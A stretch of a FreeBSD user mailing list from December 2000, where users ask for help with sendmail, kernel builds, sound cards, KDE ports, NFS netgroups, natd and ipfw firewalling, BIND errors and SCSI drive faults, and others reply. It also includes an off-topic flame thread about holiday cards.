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On Wed, Dec 20, 2000 at 11:24:01PM -0600, Jorge Biquez wrote:
> Hello all.
> I'm sorry if this sound so stupid.

There are no stupid questions... as long as you do the reading.

> I'm using a PII 350Mhz, 128RAM,1 Hd 8GB for studying and learning. I wanted 
> to upgrade to the latest version of sendmail, so I entered to the 

FreeBSD includes sendmail by default. It is part of the base system.
What version of FreeBSD are you running? If you are running 4.1.1 or
4.2, then you should have the latest version already installed.

> FreeBSD.ORG site, looked for the port and that pointed me to the site of 
> SENDMAIL.ORG. I downloaded the archive of the latest version to my machine 
> but then I felt very stupid since I didn't know what else to do, I mean, I 
> know I had to compile and install the program but I didn't knew what to do 
> (I have to confese that I just wanted to use the command pkg_add to install 
> it).... Just to be short after 5 minutes of that my machine wasn't able to 
> run sendmail anymore since I did something when I tried to installed that 
> cause that the sendmail daemon coul not start.

I don't know what happened here. Normally, when you download a tarred
file, you have to untar it and uncompress it.

> Just after reading a lot in the book and the sendmail site my sendmail is 
> running but still I'm not sure if it is working that new version .... I 
> learned a very hard lesson... I need to know some more basic things on how 
> things really work there (FreeBSD). I know that maybe could take me years 
> but I want to become profficient with this great Operating System and I 
> commited to learn and study all the material I could.
> My question is:

Good!

> For stupid and slow people like me , What would be your suggestions on the 
> steps to follow to learn the basics ? Any Internet resources for very slow 
> begginers? Any other books?.

I started with Linux, but the same thing will apply. 
1) Read anything that you can get your hands on.
2) Don't be afraid of the system. Make backups of important things, and
   then play with it.
3) Ask questions on the lists. The people here are a great resource.


HTH,
Victor Cardona
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	Sounds like you're not doing too bad.  You're trying AND you're
reading.  That an excellent combination, keep up both.  Hopefully this
box is purely for your learning.  If it is then you can try anything and
if it totally hoses your system you won't lose anything.  The worst
you'll have to do is reinstall and there are few times where that is
really necessary.  Just make sure you back up any important data and any
configuration files that you change.  So in that spirit your sendmail blip
is not too bad. 
	One idea I have been using lately is to write down each new thing
I learn.  That way I have good notes.  Before that, so many times I'd say,
well I just figured out how to do this two weeks ago, but where did it
say how to...     At the very least I try to write down the URL or
handbook section that contained what I wanted.  You can just write this
into computer files with cat >note1  and then ctrl-d  if you want.  Then
you can learn something like vi, etc.  I happen to write it in a notebook
so I can read it in those few times I am not at my computer.  :)
	The other is have you already gone through all the tutorials on
the FreebSD website?  Try navigating through all the links on the site and
see where they take you.  Also try checking out the articles at these
sites:
http://www.oreillynet.com/pub/q/FreeBSD_Basics
http://www.freebsddiary.org
http://www.mostgraveconcern.com/freebsd/
http://rute.sourceforge.net
http://www.oreillynet.com/bsd/
http://www.bsdvault.net/
http://www.vmunix.com/fbsd-book/

good luck
							Tim



On Wed, 20 Dec 2000, Jorge Biquez wrote:

> Hello all.
> I'm sorry if this sound so stupid.
> As I have mentioned in other email I'm "new" to FreeBSD and Unix.
> I'm styding the book "The Complete FreeBSD" for version 3.2 but I 
> definitely feel very slow and stupid since I don't understand some very 
> very basic things on what's going on , what do you affect, what are the 
> tools to use(maybe the problem when you come from other OS like Wxx).
> 
> An example of this (don't laugh too loud please)
> 
> I'm using a PII 350Mhz, 128RAM,1 Hd 8GB for studying and learning. I wanted 
> to upgrade to the latest version of sendmail, so I entered to the 
> FreeBSD.ORG site, looked for the port and that pointed me to the site of 
> SENDMAIL.ORG. I downloaded the archive of the latest version to my machine 
> but then I felt very stupid since I didn't know what else to do, I mean, I 
> know I had to compile and install the program but I didn't knew what to do 
> (I have to confese that I just wanted to use the command pkg_add to install 
> it).... Just to be short after 5 minutes of that my machine wasn't able to 
> run sendmail anymore since I did something when I tried to installed that 
> cause that the sendmail daemon coul not start.
> Just after reading a lot in the book and the sendmail site my sendmail is 
> running but still I'm not sure if it is working that new version .... I 

	Just a thought though, why would you want to install a newer
version of sendmail before you learned how to use the one already there? 


> learned a very hard lesson... I need to know some more basic things on how 
> things really work there (FreeBSD). I know that maybe could take me years 
> but I want to become profficient with this great Operating System and I 
> commited to learn and study all the material I could.
> My question is:
> For stupid and slow people like me , What would be your suggestions on the 
> steps to follow to learn the basics ? Any Internet resources for very slow 
> begginers? Any other books?.
> 
> Thanks in advance for your advice and patient and I'm sorry for the english.
> 
> JB
> 
> 
> 
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> > Can you be more specific about this?  At which
> > point, exactly, is the 
> > system hanging?  A transcript of the console output
> > would be handy.
> 
> During boot up, when it is probing devices. With the
> kernel -v it goes to isa something pnp something I
> believe, sorry, that's the best I can do
> unfortunately.

Well, without more details it's really going to be impossible to do 
anything about this.

> > There are no known problems with PnP in 4.2, so
> > there's nothing that's 
> > going to be fixed unless we can characterise your
> > problem here.
> 
> If you can't turn PnP totally off, then there's a
> problem. =)

No.  PnP is basically mandated by systems these days, and we need to deal
with it.  There's still no clear indication that this is even a PnP issue,
so don't get too twisted about it yet. 8)

> it, as did 4.2, but you could be right that it isn't
> PnP, but how can I find out what it is? I can always
> pop in a 4.1.1 cd(with alot of talking into it) and
> try.

You can start by getting the verbose boot output from the system.  If the 
box is in production right now, I'd leave it that way and hope that 
someone else with the same board can reproduce the problem.


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> i've tried to configure my soundcard in many different ways and i still
keep
> having problems.
> i've removed all devices but the video card and soundcard. and it still
> doesn't work.
> i suppose a clue to this problem is the fact that dmesg reports the
> following: 'vga0: <Generic ISA VGA> at port 0x3c0-0x3df iomem
> 0xa0000-0xbffff on isa0', but 'isa0' seems to be be configured for the
> soundcard below:
> sbc0: <Creative SB AWE64> at port 0x220-0x22f,0x330-0x331,0x388-0x38b irq
5
> drq 1,5 on isa0
> pcm0: <SB DSP 4.16> on sbc0

The messages you're seeing are normal. The fact that it's telling you that
these devices are "on isa0" just means that it found them while probing the
ISA bus, on which you can have several devices. (The video card is
technically PCI, but I'm sure there's some obscure technical-historical
reason for the message.)

> i'm kinda tired of messing around with this configuration. if you think
that
> is easier to just get a new soundcard, i would probably do that instead.
if
> so, what is the best videocard to buy with the least possible
configuration
> issues? is pci better that isa?

PCI sound cards tend to be more common these days, and cheaper. In the past,
when ISA was the de facto standard for sound cards, support for the PCI
cards was scant, but you shouldn't have a problem with either nowadays. In
my experience, PCI cards tend to be easier to configure, while ISA cards
tend to have fewer problems once they're actually working. (If your PCI
sound card shares an IRQ with your video card, for example, you may run into
obscure issues.)

Odds are good that your current card will work just fine once it's
configured properly, though. Sound support in FreeBSD isn't all that
great--- this much I determined after spending two hours hacking the kernel
source trying to figure out why I get some static when I play music.
However, the AWE64 is supported. You should have "dev pcm" in your kernel
config, and when you reboot, cd /dev and "sh MAKEDEV snd0". Many people are
confused by the directions and MAKEDEV both snd0 and snd1. This is incorrect
and may prevent your card from working.

If you still have trouble, do you get an error message, or simply silence?
What are you using to test the sound output?



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Hi

I'm trying to configure MRTG (Multi router traffic grapher) on freebsd 4
and sun solaris 2.5.1. My IP addresses are in virtual IP pool
(192.1.1.0) gate way is 192.1.1.3 on windows NT routing and runs windows
proxy server.

It is possible to run MRTG on Virtual IP pool?


When I run MRTG using command    MRTG MRTG.CFG  it gives error code

SNMP Error:
no response received
SNMPv1_Session (remote host: "192.1.1.3" [192.1.1.3].161)
                  community: "public"
                 request ID: 947072276
                PDU bufsize: 8000 bytes
                    timeout: 2s
                    retries: 5
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SNMPGET Problem for ifInOctets.1 ifOutOctets.1 sysUptime sysName on
public@192.1.1.3

How can I fix this ?

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Hi.  Could someone tell me what this means and how to fix it.  I am getting
this when I try to compile a new kernel.
Thank you very much.

linking kernel
if_ethersubr.o: In function `ether_output':
if_ethersubr.o(.text+0x290): undefined reference to `if_simloop'
if_ethersubr.o(.text+0x2c1): undefined reference to `if_simloop'
if_faith.o: In function `faithattach':
if_faith.o(.text+0x74): undefined reference to `loioctl'
if_faith.o(.text+0x7e): undefined reference to `looutput'
if_ether.o: In function `arp_rtrequest':
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igmp.o: In function `igmp_sendpkt':
igmp.o(.text+0x5e9): undefined reference to `loif'
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Bart Lindsey wrote:
> 
> I don't know enough about KDE2.X, but the object being built in the
> make is called nspluginviewer. Perhaps this is some kind of
> Netscape/Mozilla integration into KDE?

Konqueror can use Netscape plugins.

Tim.

> It _is_ interesting that it's being linked against both libqt2 _and_
> libXm; quite a hybrid!
> 
> Cheers,
> 
>   Bart.
> 
> Donn Miller <dmmiller@cvzoom.net> writes:
> > On 20 Dec 2000, Bart Lindsey wrote:
> >
> > >   As this is linking against OpenMotif, the link options ought to
> > >   include -lXp.
> >
> > That's strange.  Why would KDE be linking against Motif?  I though it used
> > Qt and KDE-Qt-addon exclusively.
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On 20-Dec-00 Chip wrote:
> I recently added an old tape drive to my system. It appears to be a
> Colorado drive ( or clone ), uses 'Colorado QIC-3020 DT-1400
> 680mb/1360mb compressed' type tapes. I have it connected to the
> floppy cable, the drive appears to work, physically. Just what do I
> do to make it useable in FreeBSD 4.2? I don't see much info about
> this in the handbook or the Complete FreeBSD book, or on the site
> FreeBSD Diary.

I'm afraid the floppy tape support was dropped back in 3.x. If I had the talent
I would gladly make it appear again. 

/M



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On 20-Dec-00 modF wrote:
> Greetings,
>       I have been searching the site and the FAQ's for information on a 
> "typical" installation.  My question is what is the recommended space 
> requirement for BSD?  I have an OLD (P133) sitting here collecting 
> dust,  all of the hardware is supported from the list.  But I can not find 
> anything about a space requirement. I have a few drives sitting around, 1.2 
> gig, 500 meg, and a few 2gig drives, so there is a bit of junk variety.

Start off with installing it on the 500M drive. If you grow out of that then add
drives according to taste. 500M is enough for a working system with X and
sources etc. What are you going to use it for? 

> Thanks for the help!
> --Mike
> 
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On 20-Dec-00 Jason wrote:
> It all started with multiple sendmail errors and apache permission errors
> and I don't know what caused this.  I thought reinstalling BSD then apache
> might help but in the process I seem to have made matters worse.  I am using
> 4.1.1-Release for i386.  Here are is the symtpoms of the problem...below is
> the history leading up to the situation.
> 
> When I try to su to my account from root I get the following:
> su: /bin/tcsh: Permission denied
> 
> When I try to logon from console I get the following:
> <date/time> <hostname> login: _secure_path: cannot stat
> /home/<user>/.login_conf: Permission denied
> <date/time> <hostname> login: _secure_path: cannot stat /etc/login.conf:
> Permission denied
> Cannot find root directory.
> <date/time> <hostname> login: LOGIN <user> REFUSED (ROOTDIR) ON TTY ttyv0
> 
> Here are the events that led to my current situation:
> used /stand/sysinstall to do custom install on an already operating system
> with constant sendmail problems errrors messages (I dont even use sendmail).
> I thought I may have corrupted some conf file somewhere and didnt know how
> to find it.  I then reinstalled Apache after I backed up all existing files.
> This is when I noted my group www was no longer valid and I discovered all
> my users were no longer built even though the /usr/home/* were still there.
> 
> I figured I had to recreate all the users and groups I need to operate as
> before.  So I began with my own account.  It seemed to add properly using
> adduser but the files in /usr/home/<myacct> was all assigned to the
> incorrect UID and GID.  I realized the GID and UID were from the old
> accounts so I thought it best to start with a clean /usr/home area.
> I changed home to homeold and created a new /usr/home folder.  I then rmuser
> all accounts and started over.  I created an account for myself and verified
> the /usr/home/<myacct> looked good.  IE All files in my home was assigned to
> my account name and my group name (username and group name is the same for
> now)

First: Kill sendmail! If you do not receive mail via sendmail then there is no
point in having it around at all. (make appropriate changes into /etc/rc.conf).

I suppose you have to manually make changes with vipw, and possibly /etc/groups.
This is a timeconsuming task, but can be done.

How the permissions changed I dont know, but this can also be corrected with
chmod and chown.

/M


> any help would be appreciated...once I get this resolved I can move on the
> myraid of other problems I seem to have developed within the last few days.
> for now just one fix at a time so I can get a handle on this.  But for the
> record here are the other problems I have in case they may be part of this.
> 
> <dat/time> <hostname> sendmail[578]: eBJJSxf00578: forward
> /home/<user>.forward: Permission denied
> 
> <dat/time> <hostname> sendmail[578]: eBJJSxf00578: SYSERR(root) hash map
> "Alias0": missing map file /etc/mail/aliases.db: No such file or directory
> (message similar to this before the reinstall stated something about
> dangerous global map I thiink....cant seem to find the older sytem messages
> anymore)
> 
> <date/time> <hostname> sendmail[268]: NOQUEUE: SYSERR: putoutmsg (NO-HOST):
> error on output channel sending "454 4.8.8 fill_fd: before readcf: fd 1 not
> open: Bad file descriptor": Input/output error
> 
> <date/time> <hostname> sendmail[268]: NOQUEUE: SYSERR(root): fill_fd: before
> readcf: fd 1 not open: VBad file descriptor
> 
> <date/time> <hostname> sendmail[268]: NOQUEUE: SYSERR(root): fill_fd: before
> readcf: fd 2 not open: VBad file descriptor
> 
> Thats all I can fine in the last 24 hours.  I can use all the help you can
> offer this time.  Spelling or syntax might be off since I transcribed all
> messages by hand because I am only root account works right now and it wont
> allow me to telnet to that login.
> 
> Thanks
> Jason
> 
> 
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On Wed, Dec 20, 2000 at 11:18:00PM -0500, Luke wrote:
> Actually there is work being done to support winmodems on Linux. And a few
> alpha/beta drivers available. Visit http://www.linmodems.org/ for more info
> 
> Hello
> I've not downloaded the FreeBSD but I want to know if it supports WinModems
> like Diamond Supra2560?
> Linux don't support winmodems, and I think FreeBSD don't support them
> either, but only to check I've sent to you this e-mail.

Strictly speaking even Windows does not natively support Winmodems !
Without the driver disk you cannot use these things, Windows
sees them as "PCI Communication Devices" or some such.
I know this because I tried to set up a modem for someone
in their Win 98 machine without the driver disk.

On the other hand, the external modem I use very happily 
doesn't work under Windows ! Even with the driver disk,
W98 cannot recognise it..

Funny old thing life...

Cliff



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On Wed, Dec 20, 2000 at 06:02:37PM -0800, betty low wrote:
> I have been reading this stuff & really do not know y
> many intelligent people r mis-quoting the writer/The
A few points:
- This is not a religious forum
- I failed to see any humour in the original posting
- Use of 'y" for "why", "r" for "are" "2" for "two"
etc. ad-nauseam offends me (and does not have a Biblical precedent)
but I don't go ranting on about it
- I am not a Christian, my sister is; I sent her a little net greeting
from the selection of Yahoo festive greeting cards with a Christian
angle.
- To be historically accurate, while Christmas may be a Christian
holiday these days, Jesus was not born on December 25th, and come
to that was not born 2000 years ago (unless Herod was about
200 years old at the time) .. I pass this on as totally
irrelevant information for this news group.

As for BSD suporting Yahoo, you may as well complain that they
also support a Heathen, bad mouthing, cigarette smoking, whisky
drinking reprobate like me as well .. :)

Merry Christmas one and all

Cliff

p.s. I don't drink actually, but all the rest is true .. hee hee



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Hi, I got KDE 2.0.1 to install.  It worked from the port without errors.
Maybe you had crud lying around that interfered.  Did you try running make
clean in /usr/ports/x11/kde2  ?  How recently did you cvsup your ports?
Some of the patches were committed recently.  Also what version were you
running. I was using 4.2-release at the time.


On Tue, 19 Dec 2000, Bjarne Wichmann Petersen wrote:

> 
> I'm trying to install KDE 2.0.1 from ports/x11/kde2/... everything goes fine until somewhere into kdebase. This is the error:
> 
> c++ -O2 -fno-exceptions -fno-check-new -Wall -pedantic -W -Wpointer-arith -Wmissing-prototypes -Wwrite-strings -Wno-long-long -fno-builtin -O -pipe -DQT_CLEAN_NAMESPACE -DQT_NO_COMPAT -DQT_NO_ASCII_CAST -o nspluginviewer nsplugin.o viewer.o kxt.o NSPluginCallbackIface_stub.o NSPluginClassIface_skel.o nspluginviewer_meta_unload.o -Wl,-export-dynamic -Wl,--export-dynamic  -L/usr/X11R6/lib -L/usr/local/lib -lXm -ljpeg -ljpeg -L/usr/libexec/elf -L/usr/libexec -L/usr/lib -ljpeg /usr/local/lib/libkio.so /usr/local/lib/libkdeui.so -ljpeg -ljpeg -ljpeg -ljpeg /usr/local/lib/libkdesu.so /usr/local/lib/libkdecore.so /usr/local/lib/libDCOP.so -lqt2 -lpng -ljpeg -lXext -lX11 -lSM -lICE -ljpeg -ljpeg -lutil -ljpeg -lz -ljpeg -lm -lXt -ljpeg -lstdc++ -lgcc -Wl,--rpath -Wl,/usr/local/lib -Wl,--rpath -Wl,/usr/local/lib -Wl,--rpath -Wl,/usr/X11R6/lib
> /usr/X11R6/lib/libXm.a(PrintS.o): In function `PrintNotifyHandler':
> PrintS.o(.text+0x148): undefined reference to `XpStartPage'
> PrintS.o(.text+0x161): undefined reference to `XpEndPage'
> PrintS.o(.text+0x179): undefined reference to `XpEndJob'
> /usr/X11R6/lib/libXm.a(PrintS.o): In function `ResourcesUpdate':
> PrintS.o(.text+0x1db): undefined reference to `XpGetOneAttribute'
> PrintS.o(.text+0x26b): undefined reference to `XpGetPageDimensions'
> /usr/X11R6/lib/libXm.a(PrintS.o): In function `SelectXpEvents':
> PrintS.o(.text+0x308): undefined reference to `XpGetContext'
> PrintS.o(.text+0x31b): undefined reference to `XpSelectInput'
> /usr/X11R6/lib/libXm.a(PrintS.o): In function `Initialize':
> PrintS.o(.text+0x439): undefined reference to `XpQueryExtension'
> PrintS.o(.text+0x450): undefined reference to `XpGetContext'
> PrintS.o(.text+0x46d): undefined reference to `XpGetScreenOfContext'
> /usr/X11R6/lib/libXm.a(PrintS.o): In function `Destroy':
> PrintS.o(.text+0x5cf): undefined reference to `XpGetContext'
> /usr/X11R6/lib/libXm.a(PrintS.o): In function `FilePipeCB':
> PrintS.o(.text+0x75b): undefined reference to `XpGetContext'
> /usr/X11R6/lib/libXm.a(PrintS.o): In function `ChildPrintToFile':
> PrintS.o(.text+0x820): undefined reference to `XpGetDocumentData'
> /usr/X11R6/lib/libXm.a(PrintS.o): In function `XmPrintToFile':
> PrintS.o(.text+0x88a): undefined reference to `XpGetContext'
> /usr/X11R6/lib/libXm.a(PrintS.o): In function `XmPrintPopupPDM':
> PrintS.o(.text+0xac7): undefined reference to `XpGetContext'
> PrintS.o(.text+0xae4): undefined reference to `XpGetPdmStartParams'
> /usr/X11R6/lib/libXm.a(ImageCache.o): In function `_XmPutScaledImage':
> ImageCache.o(.text+0x1707): undefined reference to `XpQueryExtension'
> ImageCache.o(.text+0x171a): undefined reference to `XpGetContext'
> ImageCache.o(.text+0x1737): undefined reference to `XpGetOneAttribute'
> ImageCache.o(.text+0x177a): undefined reference to `XpSetImageResolution'
> ImageCache.o(.text+0x17b5): undefined reference to `XpSetImageResolution'
> gmake[3]: *** [nspluginviewer] Error 1
> gmake[3]: Leaving directory `/usr/ports/x11/kdebase2/work/kdebase-2.0.1/nsplugins/viewer'
> 
> What am I missing here? And how do I correct it?
> 
> Bjarne
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Hi,

I have been trying to get the hang of nis and nfs this week and
everything seems to be working great except for one thing: using
netgroups in the exports file.

I would like to specify a netgroup that specifies a number of machines
that can mount the exported file system. I have setup a netgroup file in
/var/yp. Right now it has on entry:

lab (pw,,mynet) (nw,,mynet)

I then typed make to recreate the map files.

In my export file I created an entry:

/home -maproot=0 -alldirs lab

pw# /sbin/mount_nfs oscar:/home /oscar/home
mount_nfs: can't access /home: Permission denied

From the examples in the man page this should work (/usr /usr/local
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I have a friend on the KDE core team, and I hear that FreeBSD is not as
well supported at KDE any more, as their main FreeBSD developer has
finished high school, and started working, so does not have much time
for KDE. He told me that that this young man was interested in having
some one pay him to work on KDE for FreeBSD. Mabey someone could contact
him to findout how much he needs to give up his job. I have never
communicated with him, but his email address is alex@kde.org.

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On Thu, 21 Dec 2000 02:52:40 -0500 (EST)
Tim McMillen <timcm@umich.edu> wrote:

> Hi, I got KDE 2.0.1 to install.  It worked from the port without errors.

Strange...

> Maybe you had crud lying around that interfered.  Did you try running make
> clean in /usr/ports/x11/kde2  ?  

"crud"? The funny thing is, that the first time I tried installing 2.0.1 I couldn't use the meta-port... reported that 2.0.1 was already installed and "deinstall" didn't work. So I installed every part manually no glitches. But I wanted a clean install, so I removed every piece of KDE/Qt from my system + "make clean" and then tried the meta-port. This was when I got the error....

I've also played around with XFree4 several time (trying getting DRI working). But XFree4 *should* be installed cleanly now. Removed every bit there to and installed from scratch. But maybe something went wrong?

> How recently did you cvsup your ports?
> Some of the patches were committed recently.  Also what version were you
> running. I was using 4.2-release at the time.

4.2-STABLE and cvsup'ed my ports just a few hours before I tried installing.

Bjarne
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On Wed, Dec 20, 2000 at 03:31:42PM -0500, Robert Myers wrote:
> Eric,
> 
> 	You will need to add IP_FORWARD in the kernel config, compile and rebuild.

I am not aware of any such option. If you mean,

  IPFIREWALL_FORWARD

This person does not need it. He does not have any 'fwd' ipfw(8)
rules.

> That option will
> 	allow you to forward packets accross the interfaces.

No, you don't need to compile in extra options for that
functionality.

>  Don't forget to
> enable all the rest of the IPFW
> 	options if you want the ability to deny traffic.....

To do NAT, these,

  options IPFIREWALL
  options IPDIVERT

Options are required. See natd(8).
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On Wed, Dec 20, 2000 at 09:52:11AM -0800, Alex Obradovic wrote:
> Do I need to include subnet masks in natd.conf in order to allow redirection
> of ports from the Internet (class C) to the internal class B network?
> 
> I used to have FreeBSD box work perfectly with internal C class network.
> After the company switched to B class network, I reconfigured the "internal"
> NIC, and natd.conf file to reflect new IP addresses. NATD still allows
> transparent access to the internet, however redirection of the Internet
> requests to internal machines (redirect_port) does not work any longer.
> 
> I checked the firewall settings and it is wide open.
> 
> Any suggestions?

Very few things care about Class A, B, and C nets anymore. Some
commands default to the correct netmask for their class if not
explictly given a mask (e.g. ifconfig(8)). Hard to say what your
trouble might be. It'd be a lot easier if you showed us your
natd.conf, rc.conf, rc.firewall, and other relavent configuration
files.
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Hi 

Can anybody advise me a good toturial about named and bind?

I have following messages and fairly speaking I do not how to solve these
problems?

ctl_server:bind:/var/run/ndc:address already in use
No default TTL set using SOA minimum instead.

Any advice?

Thanks a lot in advance

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On Thu, Dec 21, 2000 at 02:15:34PM +0400, Iana Liadze wrote:
> I have following messages and fairly speaking I do not how to solve these
> problems?
> 
> ctl_server:bind:/var/run/ndc:address already in use
> No default TTL set using SOA minimum instead.

Search for the string (No default...instead) in google, take the
first found entry (you'll end up in
http://www.mail-archive.com/comp-protocols-dns-bind%40isc.org/msg02128.html),
click on the next in the thread
(http://www.mail-archive.com/comp-protocols-dns-bind%40isc.org/msg02129.html)
en see a link to the FAQ at Nomimun
(http://www.nominum.com/resources/faqs/bind-faq.html#nottl)

The one about ndc, I don't know from head but I think you can find
it the same way.

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Hello All!

Is the ATI Rage Fury Pro 32 MB OR the Matrox G400 supported on FreeBSD 4.x? 
Otherwise, we'll go with the Matrox G200. Those are the only three video 
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This would cost a BUNCH of $$$ to replace every card in every machine,
and not driver for BSD yet.

So, most of you are saying that a switch would be a solution. Anyone can
recommed a particular switch wich he/she is using without problems?

Also, what about tunnelling??

Artem


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> Well there is another option you may not know about....
>
> Encrypion on the physical level.
>
> 3Com make new network cards with built in encryption that works up to full
> duplex 100Meg.
>
> Secures sensitive data by delivering 3DES,DES,MD5,and SHA-1
>
> Check out the specs here....
> http://www.3com.com/products/nics/3cr990fb.html
>
> I don't know if anyone has built any drivers for FreeBSD, but I think it's
> worth it. They make one for the server too that allows redundant NIC's for
> failover protection.
>
> There appear to be beta drivers for Linux for these network cards as
well...
> http://support.3com.com/infodeli/tools/nic/linuxdownload.htm
>
> I can sell the 3CR990-TX-97 which provides 168 Bit encryption for about
$120
> each.
> And the 3CR990-SVR-97 for $115.
>
> I haven't used these, but the principal sounds good. I think the only
> drawback is, any server using one probably has to have one in each client
> computer, or there would be no way for them to speak to each other. This
> would rule out some other equipment as well, but they are supposed to be
> compliant with IPSec.
>
> If anyone has used these, I would be interested in hearing how well they
> work in a "real" environment running other O/S's and routers and such.
>
> Chuck
>
> > -----Original Message-----
> > From: owner-freebsd-security@FreeBSD.ORG
> > [mailto:owner-freebsd-security@FreeBSD.ORG]On Behalf Of Dmitry Galyant
> > Sent: Wednesday, December 20, 2000 6:58 AM
> > To: Artem Koutchine
> > Cc: Jonas Luster; security@FreeBSD.ORG; questions@FreeBSD.ORG
> > Subject: Re: What anti-sniffer measures do i have?
> >
> >
> > On Wed, 20 Dec 2000, Artem Koutchine wrote:
> >
> > > Date: Wed, 20 Dec 2000 15:27:41 +0300
> > > From: Artem Koutchine <matrix@ipform.ru>
> > > To: Jonas Luster <JonasL@webex.com>, security@FreeBSD.ORG,
> > >      questions@FreeBSD.ORG
> > > Subject: Re: What anti-sniffer measures do i have?
> > >
> > > Hello again!
> > >
> > > Well, i am depressed now :( The issue is even worse than i thought
> > > at first. So, SHOUD I upgrade to switches? Will they REALLY help?
> > >
> > > Or should i build a simple FreeBSD router for each branch of the tree
> > > with a buch of ethernet cards. For example. In a room with 8 computers
i
> > > will install a Pentium MMX with 8 PCI slots and 8 network cards
> > and route
> > > pure IP, no MAC  addresing (i don't need ipx rounter or
> > anything, just ip).
> >
> > and don't forget give root shell to this 8 mans ;-)
> > switch has no shell - imho it's better way.
> >
> > >
> > > Is there relatively cheap switches wich do the same? Is it even
> > a solution?
> >
> >
> >
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I've compiled & installed the current snapshot version of ntop & have a
few "features" to sort out.

I'm getting ntop started OK in either / or / both regular webmode / SSL
mode

When I point a browser at the correct URL" http://<remote_host>:3000",
everything appears to work fine

When I point the browser at the correct SSL address "https://<remote_host>:3001"
I get "Error 408 The request was timed-out"

I don't believe the problem is with Open SSL since Webmin works perfectly
on the same machine at "https://<remote_host>:10000"

A different ntop issue on which I'd appreciate advice is that of configuring
password access control. The earlier versions of ntop used a ".ntop" file in
home directories to limit access, however that idea was apparently dropped
later & replaced by something different ... (presumably in the interests
of security) but that has not been documented.

Is there a practical way to implement some form of password access
control or user IP address access control to either

http://<remote_host>:3000  or

https://<remote_host>:3001 ??



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Hello!

Please correct me if I'm wrong, SMC's EtherEZ (Western Digital
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On Wed, Dec 20, 2000 at 06:13:26PM -0800, sefkan wrote:
> 
> Hello,
> 
> I need some help setting up a basic firewall (using /etc/rc.firewall
> and /etc/rc.conf).
...
>         oif="tun0"                      # tun0 ?
>         onet="63.166.51.125"            # ?
>         omask="255.255.255.240"         # ? 255.255.255.0 ?
>         oip="216.111.111.5"                     # what?

I always seem to think that rc.firewall is a nice starting point.  It
provides with nice ideas about setting up your own set of rules.  But
eventually, you will have to make your own rules.

What you are describing as a `problem' is easily resolved once you write
your own rules, to use `in recv tun0' and `out xmit tun0' instead of using
the IP address.

If you are too reluctant to copy/paste and edit the nice rules of
rc.firewall into a file of your own (which is what I usually recommend to
people who want to actually *learn* how ipfw works), you can always find a
good set of sample files at my home page.  The URL for the ipfw section is:

    <http://students.ceid.upatras.gr/~keramida/ipfw/>

Ciao,
Giorgos.

PS: Also note that this question has been answered about a zillion times,
and there are lots of answers in the archives :-)


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Hello, have a questoin:
How much GB is at the moment ftp.FreeBSD.org?

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Hi

I wonder why my FreeBSD 3.3-RELEASE server needs 2 reboots to get the
network up running. The first boot always ends with 'no network' messages.
The next boot finds the netcard (IntelPro) and sets it up OK.
This is not good, as it prevents remote booting.

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Hi,

I note in 20000921234343.A37161@absinthe.condo.chico.ca.us that
a bug has been identified in certain seagate drives in relation to
tagged queueing and write-thru caching that results in errors like:

Dec 15 02:27:06 plum /kernel: (da0:ahc0:0:0:0): READ(10). CDB: 28 0 0 9a 22 23 0
+0 2 0                                                          
Dec 15 02:27:06 plum /kernel: (da0:ahc0:0:0:0): NOT READY asc:4,3
Dec 15 02:27:06 plum /kernel: (da0:ahc0:0:0:0): Logical unit not ready, manual
+intervention required field replaceable unit: 5            
Dec 15 02:27:06 plum /kernel: (da0:ahc0:0:0:0): Invalidating pack

I've disabled tagged queueing on the affected drive:

(root@plum) ~ >camcontrol negotiate 0:0:0 -c                                    
Current Parameters:                                                             
(pass0:ahc0:0:0:0): sync parameter: 12                                  
(pass0:ahc0:0:0:0): frequency: 20.000MHz                                        
(pass0:ahc0:0:0:0): offset: 8                                                   
(pass0:ahc0:0:0:0): bus width: 16 bits          
(pass0:ahc0:0:0:0): disconnection is enabled                                    
(pass0:ahc0:0:0:0): tagged queueing is disabled

but have been unable to disable write-thru cacheing (there's no option
that I can find to do that in the SCSI bios on my Adaptec aic7895
Ultra SCSI adapter).

I've spent some time on the 'phone to Seagate technical support, but they've
only know how to work with Windows.

How do I find out the firmware version on my drives? Nothing that looks like
a firmware version gets displayed in dmesg:

da0 at ahc0 bus 0 target 0 lun 0
da0: <SEAGATE ST39140W 1444> Fixed Direct Access SCSI-2 device 
da0: 40.000MB/s transfers (20.000MHz, offset 8, 16bit), Tagged Queueing Enabled
da0: 8683MB (17783240 512 byte sectors: 255H 63S/T 1106C)

I've got an ST39140W (which is the drive I'm having problems with) but would
also like to know whether the other 4 Seagate drives (ST39102LW) that I've
got in the machine have the same bug.

Does anybody know if this has been fixed by Seagate and if the firmware
is upgradable? Or if not.. if there's a way of disabling write-thru
cacheing (or showing that my controller doesn't support it) is my
BIOS doesn't seem to have an option to disable it.

Otherwise I guess I'm going to have to go off to the shops for some
Quantum drives. It's driving me mad and causing the machine to crash
about once a week.

Thanks,

James.



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On Wed, 20 Dec 2000, Jeremiah Gowdy wrote:

> For fuck's sake, a / is not a newline.  How the hell can you expect anyone
> to read this crap ?  And the numbers ?  I don't read K-Rad.

Thank you Mr. J!  I agree:  if you're going to rant, at least be eloquent,
well formatted and self effacing.   Proper spelling doesn't hurt either.
(Even when Dennis Miller expresses views contrary to my own, which I 
regard as obviously sacrosanct, I still enjoy watching him.  Just not
on Monday Night Football!)

Then again:  I like my adversaries to be inarticulate so that the form of
their message is not at variance with the content...hmm...what a dilemma!
I'd better call that 900 number, the psychic hotline, and see what I should
do...and if I should continue running FreeBSD or switch to Betty's version:
FreeBDS (maybe she took too much LDS in the 60s?)

> > I have been reading this stuff & really do not know y
> > many intelligent people r mis-quoting the writer/The
> > writer did not say there where no christian cards in
> > the holiday section/The writer is RIGHT/I went thru

RIGHT in the political sense, to be sure.  Far RIGHT...
and apparently intimidated by (Groucho) Marxists who support Yahoo
or who don't support Yahoo but fail to support 'Christians' who 
don't support Yahoo for the RIGHT reasons.  If 'My God is bigger
than your God!' why is it necessary to do all this public whining
in an inappropriate forum?  As Goethe said so long ago:
'Why the repetition if not a questionable proposition?'

[ Kampf gegen den Faschismus! ]

> > Valley 4 that matter/Boy what a mess of things a
> > pissed off organization could make if they wanted
> > 2/This was just 1 writer with 1 email/good thing this
> > writer has a sense of humor is all I have 2 say!

Fascism with a happy face is still fascism...so remember Betty:
If the boot fits, lick it!  :-)

Tongue in cheek here, just not all that firmly (I'm getting older!)

Cheers Jeremiah and Cliff!  Happy Solstice/Chanukah (sorry I won't be
sending you lads greeting cards - it's not that I don't support Yahoo,
